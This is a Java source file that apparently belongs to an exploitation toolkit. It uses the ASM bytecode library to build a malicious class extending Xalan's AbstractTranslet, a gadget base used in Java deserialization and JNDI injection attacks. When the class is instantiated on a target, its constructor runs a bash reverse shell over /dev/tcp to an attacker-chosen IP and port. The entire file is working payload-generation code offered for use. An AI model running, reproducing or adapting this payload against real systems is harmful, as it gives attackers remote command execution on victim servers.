content: package com.achuna33.Templates;
  
  import com.achuna33.Utils.*;
  import org.objectweb.asm.*;
  import static org.objectweb.asm.Opcodes.*;
  
  public class ReverseShellTemplate implements Template {
      private String className;
      private byte[] bytes;
      private String ip;
      private int port;
  
      public ReverseShellTemplate(String ip, String port){
          this(ip, Integer.parseInt(port));
      }
  
  
      public ReverseShellTemplate(String ip, int port){
          this.ip = ip;
          this.port = port;
          this.className = "Exploit" + Utils.getRandomString(4);
  
          generate();
      }
  
      public ReverseShellTemplate(String ip, String port, String className){
          this(ip, Integer.parseInt(port));
          this.className = className;
  
          generate();
      }
  
      @Override
      public String getClassName(){
          return className;
      }
  
      @Override
      public byte[] getBytes() {
          return bytes;
      }
  
      @Override
      public void cache() {
          Cache.set(className, bytes);
      }
  
      @Override
      public void generate() {
          ClassWriter cw = new ClassWriter(0);
          FieldVisitor fv;
          MethodVisitor mv;
          AnnotationVisitor av0;
  
          cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null);
  
  
          {
              fv = cw.visitField(ACC_PRIVATE, "ip", "Ljava/lang/String;", null, null);
              fv.visitEnd();
          }
          {
              fv = cw.visitField(ACC_PRIVATE, "port", "I", null, null);
              fv.visitEnd();
          }
          {
              mv = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
              mv.visitCode();
              Label l0 = new Label();
              Label l1 = new Label();
              Label l2 = new Label();
              mv.visitTryCatchBlock(l0, l1, l2, "java/lang/Exception");
              Label l3 = new Label();
              mv.visitLabel(l3);
              mv.visitLineNumber(12, l3);
              mv.visitVarInsn(ALOAD, 0);
              mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "<init>", "()V", false);
              Label l4 = new Label();
              mv.visitLabel(l4);
              mv.visitLineNumber(13, l4);
              mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;");
              mv.visitLdcInsn("/");
              mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false);
              Label l5 = new Label();
              mv.visitJumpInsn(IFEQ, l5);
              Label l6 = new Label();
              mv.visitLabel(l6);
              mv.visitLineNumber(14, l6);
              mv.visitInsn(ICONST_3);
              mv.visitTypeInsn(ANEWARRAY, "java/lang/String");
              mv.visitInsn(DUP);
              mv.visitInsn(ICONST_0);
              mv.visitLdcInsn("/bin/bash");
              mv.visitInsn(AASTORE);
              mv.visitInsn(DUP);
              mv.visitInsn(ICONST_1);
              mv.visitLdcInsn("-c");
              mv.visitInsn(AASTORE);
              mv.visitInsn(DUP);
              mv.visitInsn(ICONST_2);
              mv.visitLdcInsn("/bin/bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1");
              mv.visitInsn(AASTORE);
              mv.visitVarInsn(ASTORE, 1);
              mv.visitLabel(l0);
              mv.visitLineNumber(16, l0);
              mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
              mv.visitVarInsn(ALOAD, 1);
              mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false);
              mv.visitInsn(POP);
              mv.visitLabel(l1);
              mv.visitLineNumber(19, l1);
              mv.visitJumpInsn(GOTO, l5);
              mv.visitLabel(l2);
              mv.visitLineNumber(17, l2);
              mv.visitFrame(Opcodes.F_FULL, 2, new Object[]{className, "[Ljava/lang/String;"}, 1, new Object[]{"java/lang/Exception"});
              mv.visitVarInsn(ASTORE, 2);
              Label l7 = new Label();
              mv.visitLabel(l7);
              mv.visitLineNumber(18, l7);
              mv.visitVarInsn(ALOAD, 2);
              mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false);
              mv.visitLabel(l5);
              mv.visitLineNumber(22, l5);
              mv.visitFrame(Opcodes.F_CHOP, 1, null, 0, null);
              mv.visitInsn(RETURN);
              Label l8 = new Label();
              mv.visitLabel(l8);
              mv.visitLocalVariable("e", "Ljava/lang/Exception;", null, l7, l5, 2);
              mv.visitLocalVariable("command", "[Ljava/lang/String;", null, l0, l5, 1);
              mv.visitLocalVariable("this", "LReverseShell;", null, l3, l8, 0);
              mv.visitMaxs(4, 3);
              mv.visitEnd();
          }
          {
              mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"});
              mv.visitCode();
              Label l0 = new Label();
              mv.visitLabel(l0);
              mv.visitLineNumber(27, l0);
              mv.visitInsn(RETURN);
              Label l1 = new Label();
              mv.visitLabel(l1);
              mv.visitLocalVariable("this", "LReverseShell;", null, l0, l1, 0);
              mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1);
              mv.visitLocalVariable("handlers", "[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 2);
              mv.visitMaxs(0, 3);
              mv.visitEnd();
          }
          {
              mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"});
              mv.visitCode();
              Label l0 = new Label();
              mv.visitLabel(l0);
              mv.visitLineNumber(32, l0);
              mv.visitInsn(RETURN);
              Label l1 = new Label();
              mv.visitLabel(l1);
              mv.visitLocalVariable("this", "LReverseShell;", null, l0, l1, 0);
              mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1);
              mv.visitLocalVariable("iterator", "Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;", null, l0, l1, 2);
              mv.visitLocalVariable("handler", "Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 3);
              mv.visitMaxs(0, 4);
              mv.visitEnd();
          }
          cw.visitEnd();
          bytes = cw.toByteArray();
      }
  
  }
  